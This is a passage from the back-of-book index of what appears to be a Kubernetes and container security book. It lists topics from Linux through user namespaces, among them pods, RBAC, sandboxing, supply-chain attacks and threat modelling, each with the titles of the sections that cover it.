
- dashboard
, Case Study: mTLS with Linkerd

- installing
, Case Study: mTLS with Linkerd

- meshes, enabling
, Case Study: mTLS with Linkerd

- mTLS, validating
, Case Study: mTLS with Linkerd

- remote shells
, Case Study: mTLS with Linkerd

- Linux

- file descriptors
, Everything Is a Stream of Bytes

- intrusion detection
, Traditional IDS

- kernel, extending
, Concept
-Conclusion

- relationship to containers
, Understanding Containers

- Linux Security Modules (LSMs)
(see
LSMs (Linux Security Modules))

- load balancers

- cluster nodes, proxying
, Setting the Scene

- external traffic and
, The Setup

- logic bombs
, Detecting Trojans

- loopback adapter, accessing
, .spec .hostNetwork

- LSMs (Linux Security Modules)
, What’s a Pod?

- configuration
, Container Breakout
, Using the securityContext Correctly

M

- machine learning (ML), intrusion detection
, Machine Learning Approaches to IDS

- malware

- killswitches
, Detecting Trojans

- SUNSPOT
, Defending Against SUNBURST
-Defending Against SUNBURST

- managed fields, security considerations
, Managed Fields

- map_write(), privilege escalation
, User Namespace Vulnerabilities

- marine control systems, Hackers movie
, Setting the Scene

- masking, filesystems
, tmpfs

- memory

- dumping
, Container Forensics

- limiting
, containers[] .resources .limits .cpu, .memory
, Limiting Resource Allocations

- protecting
, API Server and etcd

- resource limits
, CPU and Memory Limits and Requests

- memory management
, How Virtual Machines Work

- Firecracker and
, Firecracker

- vulnerabilities
, Benefits of Virtualization

- metadata
, Pod Header

- signing

- GCP Binary Authorization
, GCP Binary Authorization

- Grafeas
, Grafeas

- in-toto
, in-toto and TUF

- Notary
, Notary v1

- overview
, Signing Builds and Metadata

- sigstore
, sigstore

- micro VMs
, Containers, Virtual Machines, and Sandboxes

- microservices, protecting
, No Encryption on the Wire

- Microsoft Kubernetes Threat Matrix
, Prior Art

- minimal containers
, Base Images

- minimum viable security
, Anatomy of the Attack

- Mitre ATT&CK Framework, SUNBURST attack
, Applications and Supply Chain

- MITRE ATT&CK Matrix for Containers
, Prior Art

- ML (machine learning), intrusion detection
, Machine Learning Approaches to IDS

- mounted files, exfiltrating
, Other Secrets and Exfiltraing from Datastores

- mounted secrets, attacks
, Attacking Mounted Secrets
-Attacking Mounted Secrets

- mTLS (mutual Transport Layer Security)
, Case Study: mTLS with Linkerd

- validating
, Case Study: mTLS with Linkerd

- multitenancy

- categories
, Threat Model

- control plane
, Control Plane
-Control Plane

- data plane
, Data Plane
-Data Plane

- policy
, Sandboxing and Policy

- public cloud, overview
, Public Cloud Multitenancy

- sandboxes
, Containers, Virtual Machines, and Sandboxes
, Sandboxing and Policy

- security, overview
, Hard Multitenancy

- tenants
, Hard Multitenancy

- threat models
, Threat Model

- mutual Transport Layer Security (mTLS)
(see
mTLS (mutual Transport Layer Security))

N

- namespaced

- resources, querying
, Namespaced Resources

- tenancy
, Defaults

- namespaces

- clusters, DNS enumeration
, DNS

- containers
, What’s a Pod?

- creating, web servers
, The Setup

- dumping memory
, Container Forensics

- filesystem visibility and
, Defaults

- init containers
, Kubernetes Workloads: Apps in a Pod

- Interprocess Communication
, .spec .hostIPC

- IP allocations and
, Understanding Containers

- networks
, Namespaced Resources

- nsenter, security considerations
, Volume Mount Breaks Container Isolation

- pods, all-namespaces
, Pod Namespace and Owner

- RBAC, scope
, Namespaced Resources

- resources
, Defaults

- limiting
, Limiting Resource Allocations

- sharing
, Sharing Network and Storage
-Sharing Network and Storage

- soft multitenancy
, Soft Multitenancy

- tenants
, Namespaced Resources

- user, vulnerabilities
, User Namespace Vulnerabilities
-User Namespace Vulnerabilities

- National Institute of Standards and Technology (NIST)
, Cloud Providers
-Cloud Providers

- National Security Agency (NSA), Kubernetes hardening standards
, Hardened securityContext
-.spec .volumes[] .hostPath .path

- NCC, threat models
, Prior Art

- network attack surface
, Network Attack Surface
-Network Attack Surface

- network bridge mode, containers
, Intra-Pod Networking

- network diagrams, model system
, Setting the Scene

- network intrusion detection systems (NIDSs)
, Traditional IDS

- network policies
, Introduction

- evading
, .spec .hostNetwork

- soft multitenancy
, Soft Multitenancy

- traffic
, Network Traffic

- securing
, Network Policies to the Rescue!
-Network Policies to the Rescue!

- network status, debugging containers
, Pod Network Status

- networking protocols
, Networking

- NetworkPolicy
, Network Traffic

- networks

- cluster-external traffic
, Cluster-External Traffic
-Cluster-External Traffic

- communication paths
, Defaults

- cross-tenant visibility
, Defaults

- external traffic, securing
, Traffic Flow Control
-Network Policies to the Rescue!

- inter-pod
, Inter-Pod Traffic

- intra-pod
, Intra-Pod Networking

- layer model
, Networking

- namespaces
, Namespaced Resources

- pod-to-worker-node traffic
, Pod-to-Worker Node Traffic

- soft multitenancy
, Soft Multitenancy
-Soft Multitenancy

- threat modeling
, Threat Model

- workloads, default configuration
, Defaults

- NGINX service, testing ingress
, The Setup

- NIDSs (network intrusion detection systems)
, Traditional IDS

- NIST (National Institute of Standards and Technology)
, Cloud Providers
-Cloud Providers

- Nixpkgs
, Defending Against SUNBURST

- nmap scripts, detecting
, DNS

- nodes
, Kubernetes Workloads: Apps in a Pod

- clusters, security and
, Setting the Scene

- diagram of
, What’s a Pod?

- NodeAuthorizer, token requests
, Mounted Secrets

- NodeRestriction plug-in

- node relabeling
, Data Plane

- protecting Secrets
, Data Plane

- NodeSelector
, Node Pools

- pools
, Node Pools

- taints
, Node Taints
-Node Taints

- non-virtual filesystems
, What’s a Filesystem?

- Notary
, What’s a Pod?
, Notary v1

- notary
, Software Bills of Materials

- npm event-stream vulnerability
, The Supply Chain

- NSA (National Security Agency), Kubernetes hardening standards
, Hardened securityContext
-.spec .volumes[] .hostPath .path

- nsenter, security considerations
, Volume Mount Breaks Container Isolation
-Volume Mount Breaks Container Isolation

O

- OCI (Open Container Initiative)
, Containers, Virtual Machines, and Sandboxes

- registry
, Container Images

- offboarding, account hygiene
, Account Hygiene

- on-premises environments
, On-Premises Environments

- onboarding, account hygiene
, Account Hygiene

- OPA Constraints Framework
, Runtime Policies

- Open Container Initiative (OCI)
(see
OCI (Open Container Initiative))

- Open Policy Agent

- command line use
, Using OPA directly
-Using OPA directly

- example
, Open Policy Agent
-Open Policy Agent

- Gatekeeper and
, Gatekeeper
-Gatekeeper

- OPA Constraints Framework
, Runtime Policies

- overview
, Open Policy Agent

- open source

- libraries, vulnerabilities
, Attacking Higher Up the Supply Chain

- OSINT
, Threat Actors

- policy configuration
, Defaults

- software

- hardening
, Open Source Ingestion
-Open Source Ingestion

- ingesting
, Ingesting Open Source Software

- vulnerabilities
, The Supply Chain

- supply chain, actors
, Types of Supply Chain Attack

- OpenShift
, Namespaced Resources

- resource quotas
, Resource Quotas

- operating-system–level virtualization
, How Virtual Machines Work

- Operator privileges, supply chain attacks
, Operator Privileges

- operators, GitOps
, Namespaced Resources

- Organization Policy Service
, Grouping People and Resources

- organizational pyramid
, The Weakest Link
-The Weakest Link

- Organizations (AWS)
, Grouping People and Resources

- OSINT (open source intelligence)
, Threat Actors

- OSO
, Other Policy Offerings

- OSS-Fuzz
, Benefits of Virtualization

- OverlayFS
, Everything Is a Stream of Bytes

- creating filesystems
, OverlayFS
-OverlayFS

- overlayfs, privilege escalation
, User Namespace Vulnerabilities

- OWASP Application Security Verification Standard
, Threat Model

- OWASP Docker Top 10
, Prior Art

P

- package managers, supply chain risks
, Types of Supply Chain Attack

- packages, hardening
, Open Source Ingestion
-Open Source Ingestion

- packets, inspecting
, Case Study: mTLS with Linkerd

- passwords, visibility
, Environment Variables

- pause containers
, Intra-Pod Networking

- performance

- Docker
, User Namespace Vulnerabilities

- Firecracker
, Firecracker

- Podman
, User Namespace Vulnerabilities

- sandboxes, start times
, Conclusion

- permissions

- RBAC

- generating
, Authoring RBAC
-Authoring RBAC

- viewing
, A Simple RBAC Example

- scheduler
, Scheduler and Controller Manager

- persistent volumes
, Defaults

- pipelines
, Reverse Uptime

- (see also
supply chains)

- building
, Container Image Build Supply Chains

- CI/CD
, Software Factories
, in-toto and TUF

- admission control policy
, Hard Multitenancy

- GCP Binary Authorization
, GCP Binary Authorization

- Grafeas
, Grafeas

- in-toto
, in-toto and TUF

- scanning
, Reverse Uptime

- SLSA Framework
, Conclusion

- Software Supply Chain Security paper
, Conclusion

- SUNBURST attack
, Applications and Supply Chain

- supply chain security
, CNCF Security Technical Advisory Group

- third-party code
, Third-Party Code Risk

- pivots, container breakouts
, Container Breakout

- PKI (public key infrastructure)
, Human Identity and GPG

- Platform Syscall Switcher, gVisor
, gVisor

- pod architecture
, Defaults

- pod security context, capabilities
, Pod securityContext
-Pod securityContext

- Pod Security Policies (PSPs)
, Introduction
, The State of the ARP
, Runtime Policies

- Pod Security Standards (PSS)
, Runtime Policies

- pod-to-worker-node traffic
, Pod-to-Worker Node Traffic

- Podman

- filesystems, mounting
, OverlayFS

- performance
, User Namespace Vulnerabilities

- rootless
, User Namespace Vulnerabilities

- PodNodeSelector
, Node Pools

- pods
, Pod-Level Resources
, Kubernetes Workloads: Apps in a Pod

- (see also
clusters; containers; workloads)

- attack map
, Filesystem

- attack surface
, Network Attack Surface
-Network Attack Surface

- CNI
, What’s a Pod?

- configuration

- header
, Pod Header
-Pod Header

- overview
, Pod Configuration and Threats

- containers
, Kubernetes Workloads: Apps in a Pod
, What’s a Pod?

- contents
, Kubernetes Workloads: Apps in a Pod

- creation policies
, Runtime Policies

- default configuration
, Defaults

- environment variables
, Environment Variables

- identity spoofing
, Control Plane

- infrastructure failure and
, Node Pools

- isolating, rationale
, Threat Model

- isolation
, Container Breakout

- labels
, Labels

- lifecycle
, What’s a Pod?

- managed fields
, Managed Fields

- namespaces
, What’s a Pod?

- all-namespaces
, Pod Namespace and Owner

- network status, debugging containers
, Pod Network Status

- node taints and
, Node Taints
-Node Taints

- overview
, What’s a Pod?

- pause containers
, Intra-Pod Networking

- persisting data
, Defaults

- probes
, Pod Probes

- reverse shells
, Remote Code Execution

- scaling
, Kubernetes Workloads: Apps in a Pod

- scheduler
, Scheduler and Tolerations

- securityContext, configuration considerations
, Using the securityContext Correctly
-Using the securityContext Correctly

- service accounts
, Pod Service Accounts

- storage
, What’s a Pod?

- threat models
, Threat Model
-Threat Model

- update policies
, Runtime Policies

- volume definitions
, Pod Volume Definitions

- vulnerabilbites, uptime
, Reverse Uptime
-Reverse Uptime

- policies

- access control
, Access Control Policies

- ARP-based attacks and
, The State of the ARP

- auditing
, Auditing

- authentication and authorization
, Authentication and Authorization

- breakglass scenario
, Breakglass Scenario

- enforcement
, Open Policy Agent

- grouping people and
, Grouping People and Resources
-Grouping People and Resources

- grouping resources and
, Grouping People and Resources
-Grouping People and Resources

- Kubernetes default configuration, overview
, Defaults
-Defaults

- management

- Kyverno
, Kyverno
-Kyverno

- tools
, Other Policy Offerings
-Other Policy Offerings

- network security
, Introduction

- network traffic
, Network Traffic

- overview
, Policy

- plugins, CoreDNS support
, DNS

- pod security
, Introduction
, No securityContext

- PSPs
, Runtime Policies

- risks, multitenancy
, Sandboxing and Policy

- threat models
, Threat Model

- types
, Types of Policies

- ports, containers
, Environment Variables

- Prisma Cloud
, Machine Learning Approaches to IDS

- privacy concerns
, Privacy and Regulatory Concerns

- privilege escalation
, Defaults

- AllowPrivilegeEscalation
, Using the securityContext Correctly

- container breakouts
, Container Breakout

- controller managers
, Scheduler and Controller Manager

- stolen credentials and
, Control Plane

- user namespaces
, User Namespace Vulnerabilities

- .privileged
, containers[] .securityContext .privileged

- privileged flag
, Using the securityContext Correctly

- probes
, Pod Probes

- /proc/self/cgroup
, Filesystem

- /proc/self/exe CVE
, The /proc/self/exe CVE
-The /proc/self/exe CVE

- /proc/self/status
, Filesystem

- process IDs, limiting
, Resource Quotas

- process memory, capturing
, Container Forensics

- processes

- containers, writing data
, Everything Is a Stream of Bytes

- runaway
, CPU and Memory Limits and Requests

- producers, supply chains
, The Supply Chain

- projected service account tokens
, Pod Volume Definitions

- projected volumes
, Projected Volumes
-Projected Volumes

- protocols

- networking
, Networking

- TLS
, No Encryption on the Wire

- proxies

- cluster nodes, public traffic
, Setting the Scene

- service meshes
, Concept

- PSPs (Pod Security Policies)
, Introduction
, The State of the ARP
, Runtime Policies

- PSS (Pod Security Standards)
, Runtime Policies

- ptrace system call, gVisor
, gVisor

- PTRACE_SYSEMU
, gVisor

- public cloud
, How Virtual Machines Work

- multitenancy
, Public Cloud Multitenancy

- public key infrastructure (PKI)
, Human Identity and GPG

- public registries

- container images
, Container Images

- container security
, What’s a Pod?

- public traffic, proxying
, Setting the Scene

Q

- QEMU
, How Virtual Machines Work

- hardware emulation
, Sandboxing

- quotas, resources
, Resource Quotas

R

- range checking, vulnerabilities
, Benefits of Virtualization

- RBAC (role-based access control)

- analyzing
, Analyzing and Visualizing RBAC
-Analyzing and Visualizing RBAC

- attacks, patterns
, RBAC-Related Attacks

- ClusterRole
, Scheduler and Controller Manager

- example implementation
, A Simple RBAC Example
-A Simple RBAC Example

- namespace scope
, Namespaced Resources

- overview
, RBAC Recap
-RBAC Recap

- permissions, viewing
, A Simple RBAC Example

- resources
, Namespaced Resources

- roles, generating
, Authoring RBAC
-Authoring RBAC

- supply chain attacks
, Operator Privileges

- visualization
, Analyzing and Visualizing RBAC
-Analyzing and Visualizing RBAC

- rbac-view
, Analyzing and Visualizing RBAC

- rback
, Analyzing and Visualizing RBAC

- RCE (remote code execution)
, Remote Code Execution
-Remote Code Execution

- Intrusion detection and
, Threat Model

- .readOnlyRootFilesystem
, containers[] .securityContext .readOnlyRootFilesystem

- Rego
, Open Policy Agent

- policies
, Blessed Image Factory

- type-checking
, Using OPA directly

- regulatory concerns
, Privacy and Regulatory Concerns

- remote code execution (RCE)
(see
RCE (remote code execution))

- remote control sessions
, Remote Code Execution

- remote shells, Linkerd
, Case Study: mTLS with Linkerd

- Resource Groups (RG)
(see
RG (Resource Groups))

- resource limits
, CPU and Memory Limits and Requests

- Resource Quotas
, Resource Quotas

- resources
, RBAC Recap

- examining
, Hardened securityContext
-.spec .volumes[] .hostPath .path

- limiting
, Limiting Resource Allocations

- RBAC
, Namespaced Resources

- requests, security considerations
, containers[] .resources .requests .cpu, .memory

- separating
, Namespaced Resources

- service accounts
, Service accounts

- threat modeling
, Your First Threat Model

- workload applications, creating
, The Setup

- .resources .limits .cpu, .memory
, containers[] .resources .limits .cpu, .memory

- .resources .requests .cpu, .memory
, containers[] .resources .requests .cpu, .memory

- Return-oriented programming
, Base Images

- reverse shells
, Remote Code Execution

- RG (Resource Groups)
, Grouping People and Resources

- role bindings
, RBAC Recap

- role-based access control (RBAC)
(see
RBAC (role-based access control))

- roles
, RBAC Recap

- default
, RBAC Recap

- generating
, Authoring RBAC
-Authoring RBAC

- types
, RBAC Recap

- root capabilities, container breakouts
, Pod securityContext

- root users
, containers[] .securityContext .runAsNonRoot

- filesystem mounts and
, tmpfs

- rootfull container runtimes
, User Namespace Vulnerabilities

- rootless containers
, User Namespace Vulnerabilities

- privilege escalation
, User Namespace Vulnerabilities

- rootless Docker, configuration
, User Namespace Vulnerabilities

- rootless Podman

- configuration
, User Namespace Vulnerabilities

- filesystems
, OverlayFS

- .runAsNonRoot
, containers[] .securityContext .runAsNonRoot

- .runAsUser > 10000
, containers[] .securityContext .runAsUser > 10000

- runc

- containers, compared to gVisor
, gVisor

- CVEs
, Runtime

- management
, Defaults

- /proc/self/exe CVE attack
, The /proc/self/exe CVE

- runsc, gVisor
, gVisor

- runtime binaries, gVisor
, gVisor

- runtime policies
, Runtime Policies

- RuntimeClass, overview
, Kubernetes Runtime Class

- rust-vmm toolkit, overview
, rust-vmm
-rust-vmm

S

- sandboxes
, Container Runtime Isolation

- (see also
virtualization)

- attacks and
, Sandboxing and Policy

- Firecracker
, Sandboxing
-Sandboxing

- running
, Firecracker
-Firecracker

- gVisor
, Sandboxing
-Sandboxing

- running
, gVisor
-gVisor

- Kata Containers

- running
, Kata Containers
-Kata Containers

- multitenancy
, Containers, Virtual Machines, and Sandboxes
, Sandboxing and Policy

- overview
, Sandboxing
-Sandboxing

- risks
, Risks of Sandboxing
-Risks of Sandboxing

- start times
, Conclusion

- techniques
, Containers, Virtual Machines, and Sandboxes
-Containers, Virtual Machines, and Sandboxes

- untrusted workloads
, Threat Model

- zero-day vulnerabilities
, Benefits of Virtualization

- SBOMs (Software Bill of Materials)
, Software Bills of Materials
-Software Bills of Materials

- scheduler
, Scheduler and Tolerations

- node taints and
, Node Taints
-Node Taints

- permissions and keys
, Scheduler and Controller Manager

- scratch base images
, Base Images

- SDLC (Software Development Life Cycle)

- risk profile
, Application Vulnerability Throughout the SDLC
-Application Vulnerability Throughout the SDLC

- vulnerabilities
, Threat Model

- seccomp

- annotations and
, Pod Header

- profile
, Using the securityContext Correctly

- Secret files, mounting
, tmpfs

- Secrets

- compromising
, Mounted Secrets

- environment variables and
, Filesystem

- mounted, attacks
, Attacking Mounted Secrets
-Attacking Mounted Secrets

- protecting
, API Server and etcd

- volumes, mounting
, Filesystem

- Secrets management, overview
, Sensitive Information at Rest
-Attacking Mounted Secrets

- Secure Production Identity Framework for Everyone (SPIFFE)
(see
SPIFFE (Secure Production Identity Framework for Everyone))

- security

- cluster nodes
, Setting the Scene

- clusters, hardening
, Setting the Scene

- containers, overview
, Understanding Containers

- CVEs
, Network Attack Surface

- audit logs
, Auditing
-Auditing

- container breakouts
, eBPF-Based IDS

- containers
, What’s a Pod?

- etcd
, API Server and etcd

- hostile tenants
, Hostile Tenants

- list of common
, Notable CVEs
-Notable CVEs

- Netfilter
, Pod securityContext

- policies
, Threat Model

- /proc/self/exe
, The /proc/self/exe CVE
-The /proc/self/exe CVE

- rootfull containers
, User Namespace Vulnerabilities

- runc
, Runtime

- software supply chains, scanning
, Scanning for CVEs
-Scanning for CVEs

- tooling environments
, Cluster Support Services and Tooling Environments

- zero-day
, Threat Model

- Kubernetes
, Introduction

- labels
, Labels

- managed fields
, Managed Fields

- multitenancy
, Hard Multitenancy

- namespaces, sharing
, Sharing Network and Storage
-Sharing Network and Storage

- pipelines

- admission control policy
, Hard Multitenancy

- building
, Container Image Build Supply Chains

- CI/CD
, Software Factories
, in-toto and TUF

- GCP Binary Authorization
, GCP Binary Authorization

- Grafeas
, Grafeas

- scanning
, Reverse Uptime

- SLSA Framework
, Conclusion

- Software Supply Chain Security paper
, Conclusion

- SUNBURST attack
, Applications and Supply Chain

- supply chains
, CNCF Security Technical Advisory Group

- third-party code
, Third-Party Code Risk

- PKI, problems with
, Human Identity and GPG

- pod probes
, Pod Probes

- pods, environment variables
, Environment Variables

- procedures, importance of
, Starting to Threat Model

- root users
, containers[] .securityContext .runAsNonRoot

- securityContext
, Container Breakout

- annotations and
, Pod Header

- .capabilities .add
, containers[] .securityContext .capabilities .add | index(“SYS_ADMIN”)

- .capabilities .drop
, containers[] .securityContext .capabilities .drop | index(“ALL”)

- fields
, Hardened securityContext

- Kubesec
, Enhancing the securityContext with Kubesec

- NSA hardening standards
, Hardened securityContext
-.spec .volumes[] .hostPath .path

- pods
, Pod securityContext

- privileged containters
, containers[] .securityContext .privileged

- privileged flag
, Using the securityContext Correctly

- .readOnlyRootFilesystem
, containers[] .securityContext .readOnlyRootFilesystem

- .runAsNonRoot
, containers[] .securityContext .runAsNonRoot

- .runAsUser
, containers[] .securityContext .runAsUser > 10000

- threat matricies
, What’s the Worst That Could Happen?
-What’s the Worst That Could Happen?

- security boundaries

- clusters
, Node Pools

- namespaces
, Soft Multitenancy

- rootless containers
, User Namespace Vulnerabilities

- security controls
, Introduction

- container builds
, Blessed Image Factory

- supply chain hardening
, Which Producers Do We Trust?

- security groups for pods (AWS)
, Network Policies to the Rescue!

- Security Information and Event Management (SIEM)
, Security Monitoring and Visibility

- security monitoring, clusters
, Security Monitoring and Visibility

- Security Operations Center (SOC)
, Security Monitoring and Visibility

- audit logs and
, Security Operations Centers

- Security Profiles Operator (SPO)
, Pod Header

- Security Token Service (STS)
, Account Hygiene

- security, CVEs, hostile containers
, Hostile Containers

- security, pipelines, in-toto
, in-toto and TUF

- securityContext
, Container Breakout

- annotations and
, Pod Header

- .capatilities .add
, containers[] .securityContext .capabilities .add | index(“SYS_ADMIN”)

- .capatilities .drop
, containers[] .securityContext .capabilities .drop | index(“ALL”)

- configuration considerations
, Using the securityContext Correctly

- fields
, Hardened securityContext

- Kubesec
, Enhancing the securityContext with Kubesec

- NSA hardening standards
, Hardened securityContext
-.spec .volumes[] .hostPath .path

- pods
, Pod securityContext

- privileged containters
, containers[] .securityContext .privileged

- privileged flag
, Using the securityContext Correctly

- .readOnlyRootFilesystem
, containers[] .securityContext .readOnlyRootFilesystem

- .runAsNonRoot
, containers[] .securityContext .runAsNonRoot

- .runAsUser
, containers[] .securityContext .runAsUser > 10000

- SELinux, policy enforcement
, Using the securityContext Correctly

- selinuxd
, Pod Header

- Sentry process, gVisor
, gVisor
-gVisor

- Server Side Request Forgery (SSRF)
, .spec .hostNetwork

- server-side apply
, Managed Fields

- service accounts
, Pod Service Accounts
, Service accounts
-Service accounts

- bound tokens
, Mounted Secrets

- creating
, Scheduler and Controller Manager

- ServiceAccount admission controller
, Service accounts

- tokens
, Pod Volume Definitions
, Mounted Secrets

- service endpoints, DNS enumeration
, DNS

- Service Level Agreements (SLAs)
, Shared Responsibility

- Service Level Objectives (SLOs), SRE and
, How SLOs Can Put Additional Pressure on You

- service meshes
, No Encryption on the Wire

- adoption
, Options and Uptake

- mTLS with Linkerd
, Case Study: mTLS with Linkerd
-Case Study: mTLS with Linkerd

- overview
, Concept

- workload issues and
, Service Meshes

- services, assigning identities to
, No Workload Identity

- SHA256, referencing container images
, Container Images

- Shared Responsibility Model (AWS)
, Shared Responsibility

- shift-left security practices
, Attacking Higher Up the Supply Chain

- sidecar containers
, Kubernetes Workloads: Apps in a Pod

- SIEM (Security Information and Event Management)
, Security Monitoring and Visibility

- signatures, IDSs and
, Traditional IDS

- sigstore
, sigstore

- single sign-on (SSO), providing
, Human Users

- site reliability engineering (SRE), SLOs and
, How SLOs Can Put Additional Pressure on You

- SLAs (Service Level Agreements)
, Shared Responsibility

- SLOs (Service Level Objectives), SRE and
, How SLOs Can Put Additional Pressure on You

- Snort
, Traditional IDS

- SOC (Security Operations Center)
, Security Monitoring and Visibility

- audit logs and
, Security Operations Centers

- social engineering principles
, Social Engineering
-Social Engineering

- soft multitenancy
, Threat Model

- characteristics
, Soft Multitenancy
-Soft Multitenancy

- namespaces
, Soft Multitenancy

- network policy
, Soft Multitenancy

- software

- dynamic analysis
, Detecting Trojans

- ingesting
, Ingesting Open Source Software

- untrusted workloads
, Threat Model

- software abstractions
, Containers, Virtual Machines, and Sandboxes

- Software Bills of Materials (SBOMs)
, Software Bills of Materials
-Software Bills of Materials

- software development

- container builds
, Blessed Image Factory
-Blessed Image Factory

- cryptographic signing
, Software Factories

- security considerations
, Software

- Software Development Life Cycle (SDLC)
(see
SDLC (Software Development Life Cycle))

- Software Factories
, Container Image Build Supply Chains

- software licenses, SBOMs
, Software Bills of Materials

- Software Supply Chain Security paper
, Conclusion

- software supply chains
, The Supply Chain

- CVEs, scanning for
, Scanning for CVEs
-Scanning for CVEs

- management considerations
, Software

- SolarWinds
, Applications and Supply Chain

- .spec .volumes[] .hostPath .path
, .spec .volumes[] .hostPath .path

- SPIFFE (Secure Production Identity Framework for Everyone)
, No Workload Identity

- workload identities
, Cryptographically strong identities
-Cryptographically strong identities

- SPIFFE Verifiable Identity Documents (SVIDs)
(see
SVIDs (SPIFFE Verifiable Identity Documents))

- SPO (Security Profiles Operator)
, Pod Header

- SRE (site reliability engineering), SLOs and
, How SLOs Can Put Additional Pressure on You

- SSO (single sign-on), providing
, Human Users

- SSRF (Server Side Request Forgery)
, .spec .hostNetwork

- stakeholders, threat modeling
, Your First Threat Model

- stateless containers
, Everything Is a Stream of Bytes

- static analysis, RBAC
, Analyzing and Visualizing RBAC
-Analyzing and Visualizing RBAC

- storage

- attack strategies
, Storage

- filesystems, persistence
, Defaults

- integration
, Container Storage Interface

- lifecycle
, Threat Model

- pods
, What’s a Pod?

- Secrets
, Threat Model

- threat models
, Threat Model
-Threat Model

- volumes
, Threat Model

- vulnerabilities
, What’s a Pod?

- STRIDE
, Prior Art

- storage threats and
, Threat Model

- Struts, attacks on
, Remote Code Execution
, Attacking Higher Up the Supply Chain

- STS (Security Token Service)
, Account Hygiene

- SUNBURST

- attack timeline
, Defending Against SUNBURST
-Defending Against SUNBURST

- overview
, Applications and Supply Chain
-Defaults

- SUNSPOT
, Defending Against SUNBURST
-Defending Against SUNBURST

- supply chain attacks
, Defaults

- procedures
, Detecting Trojans
-Captain Hashjack Attacks a Supply Chain

- threat models
, Threat Model
-Threat Model

- types
, Types of Supply Chain Attack
-Types of Supply Chain Attack

- upstream suppliers
, Attacking Higher Up the Supply Chain
-Attacking Higher Up the Supply Chain

- supply chains
, The Supply Chain

- (see also
pipelines)

- containers, security considerations
, The State of Your Container Supply Chains
-The State of Your Container Supply Chains

- hardening
, Which Producers Do We Trust?

- infrastructure

- Operator privileges
, Operator Privileges

- security considerations
, Infrastructure Supply Chain

- Kubernetes distributions, security considerations
, The State of Your Container Supply Chains

- package manager risks
, Types of Supply Chain Attack

- producer examples
, Which Producers Do We Trust?

- security

- components
, CNCF Security Technical Advisory Group

- principles
, CNCF Security Technical Advisory Group

- SLSA Framework
, Conclusion

- software
, The Supply Chain

- Software Supply Chain Security paper
, Conclusion

- vulnerability of
, The Supply Chain

- support, updating Kubernetes
, Anatomy of the Attack

- Suricata
, Traditional IDS

- SVIDs (SPIFFE Verifiable Identity Documents)
, No Workload Identity

- workload identities
, Cryptographically strong identities

- syft
, Software Bills of Materials

- symlinks

- host mounts and
, Host Mounts

- resolution, data exfiltration
, Attacking Volumes

- security considerations
, The Dangers of Host Mounts

- symmetric keys, etcd
, API Server and etcd

- system architecture

- model system
, Setting the Scene

- threat modeling
, Your First Threat Model

- system calls

- C programming language and
, User Namespace Vulnerabilities

- gVisor
, gVisor

- system virtual machines
, How Virtual Machines Work

- system:anonymous group, unauthenticated users
, Control Plane

T

- TAG Security, Catalog of Supply Chain Compromises
, Types of Supply Chain Attack

- Tekton
, Software Factories

- tenants
, Hard Multitenancy

- hostile, threat modeling
, Hostile Tenants
-Hostile Tenants

- namespaces
, Namespaced Resources

- soft multitenancy
, Soft Multitenancy

- types
, Defaults

- testing

- configuration
, Defaults

- ingress, NGINX service
, The Setup

- security code
, Defaults

- shift-left practices
, Attacking Higher Up the Supply Chain

- The Update Framework (TUF)
(see
TUF (The Update Framework))

- third-party code, scanning ingested
, Third-Party Code Risk
-Third-Party Code Risk

- third-party Operators, security considerations
, Operator Privileges

- threat actors
, Threat Actors
-Threat Actors

- types
, Threat Actors
-Threat Actors

- threat matrices
, What’s the Worst That Could Happen?
-What’s the Worst That Could Happen?

- Threat Model and Controls (NCC)
, Prior Art

- threat model explosion (TME)
, Threat Model Explosion

- threat modeling
, Starting to Threat Model

- attack trees
, Attack Trees
-Attack Trees

- common techniques
, Prior Art

- hard multitenancy
, Hostile Tenants
-Hostile Tenants

- information gathering
, Your First Threat Model
-Your First Threat Model

- network space
, Threat Model

- pods, trust boundaries
, Kubernetes Workloads: Apps in a Pod

- stakeholders
, Your First Threat Model

- untrusted workloads
, Threat Model

- threat models
, Threat Actors

- (see also
threat actors)

- initial version
, Your First Threat Model

- intrusion detection
, Threat Model

- Kubernetes attack surface considerations
, Threat Model Explosion
-Threat Model Explosion

- multitenancy
, Threat Model

- pod communication, default behavior
, Inter-Pod Traffic

- pods
, Threat Model
-Threat Model

- policies
, Threat Model

- preexisting
, Prior Art

- storage
, Threat Model
-Threat Model

- threats

- pod configuration

- header
, Pod Header
-Pod Header

- overview
, Pod Configuration and Threats

- pod uptime
, Reverse Uptime
-Reverse Uptime

- types
, Setting the Scene
, Threat Model
, What’s the Worst That Could Happen?
-What’s the Worst That Could Happen?

- TLS (Transport Layer Security)
, No Encryption on the Wire

- packets, inspecting
, Case Study: mTLS with Linkerd

- TME (threat model explosion)
, Threat Model Explosion

- tmpfs
, tmpfs

- overview
, tmpfs
-tmpfs

- TokenController
, Service accounts
, Service accounts

- tokens, service accounts
, Pod Volume Definitions
, Mounted Secrets

- tooling environments, clusters
, Cluster Support Services and Tooling Environments

- toolkits, bashark
, containers[] .securityContext .readOnlyRootFilesystem

- tracee
, containers[] .securityContext .readOnlyRootFilesystem

- traffic

- communication paths
, Defaults

- external, securing
, Traffic Flow Control
-Network Policies to the Rescue!

- fake, sending
, .spec .hostNetwork

- policies
, Network Traffic

- securing, network policies
, Network Policies to the Rescue!
-Network Policies to the Rescue!

- sniffing
, .spec .hostNetwork

- Trail of Bits, threat models
, Prior Art

- transcoding, untrusted workloads
, Threat Model

- transitive permissions, hard multitenancy and
, Data Plane

- Transport Layer Security (TLS)
(see
TLS (Transport Layer Security))

- Tripwire
, Traditional IDS

- trivy
, Scanning for CVEs

- trojanizing, container images
, Detecting Trojans

- trojans, detecting
, Detecting Trojans
-Detecting Trojans

- trust boundaries

- API server and etcd
, API Server and etcd

- pods
, Kubernetes Workloads: Apps in a Pod

- threat modeling
, Your First Threat Model

- Trustix
, Defending Against SUNBURST

- TUF (The Update Framework)
, Notary v1

- type-safe languages, sandboxes
, Benefits of Virtualization

- typos, container image names
, Container Images

U

- UDP poisoning
, Pod securityContext

- UIDs (user identifiers), mapping
, User Namespace Vulnerabilities

- unauthenticated users, system:anonymous group
, Control Plane

- unikernels
, Containers, Virtual Machines, and Sandboxes

- untrusted workloads
, Threat Model

- untrusted workloads, sandboxing
, Threat Model

- updating Kubernetes, version support
, Anatomy of the Attack

- uptime, security considerations
, Reverse Uptime
-Reverse Uptime

- user data, sanitized
, Threat Model

- user identifiers (UIDs), mapping
, User Namespace Vulnerabilities

- user namespaces
, Sharing Network and Storage

- privilege escalation
, User Namespace Vulnerabilities

- vulnerabilities
